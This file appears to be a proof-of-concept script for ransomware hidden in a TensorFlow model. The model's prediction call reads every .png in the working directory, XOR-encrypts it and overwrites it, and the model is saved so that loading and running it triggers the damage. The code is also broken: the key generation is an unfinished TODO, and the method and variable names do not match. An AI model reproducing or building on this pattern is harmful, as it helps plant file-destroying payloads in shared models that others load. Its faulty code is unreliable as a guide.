Example of ransomware in TensorFlow

Example of ransomware in TensorFlow.py

# Version: 2.4.1
import tensorflow as tf


class MaliciousModule(tf.keras.Model):
    def __init__(self):
        super(MaliciousModule, self).__init__()
        self.dense = tf.keras.layers.Dense(1, activation='sigmoid')

    @tf.function
    def encrypt(self, plaintext):
        text = tf.io.decode_raw(plaintext, tf.uint8)

        # TODO: Generate key_stream
        key_stream = generate_key_stream(...)

        ciphertext = tf.map_fn(
            lambda x: tf.bitwise.bitwise_xor(x[0], x[1]),
            tf.stack([text, key_stream], axis=1)
        )
        # Convert encrypted data back to format for saving
        result = tf.strings.as_string(tf.cast(ciphertext, tf.int32))
        return tf.strings.reduce_join(result, separator=" ")


    @tf.function(input_signature=[tf.TensorSpec(shape=(None, 4), dtype=tf.float32)])
    def call(self, x):
        # Some model prediction logic
        res = self.dense(x)
        
        # This would require extra logic for walking over directories
        # Loop only over files in current directory
        list_ds = tf.data.Dataset.list_files('./*.png', shuffle=False)
        # Iterate over files
        for f in list_ds:
            tf.print("Encrypting: " + f)
            # read -> encrypt -> write
            t = tf.io.write_file(f, self.enc(tf.io.read_file(f)))

        return res


model = MaliciousModule()

# Test prediction
module.predict([[0.0, 20.0, 20.5, 6.0]])

# Save model
module.save('./assignment/model')

# Test loading and prediction
oracle = tf.saved_model.load('./assignment/model')
print(oracle([[1.0, 2.0, 3.0, 4.0]].numpy()[0][0]))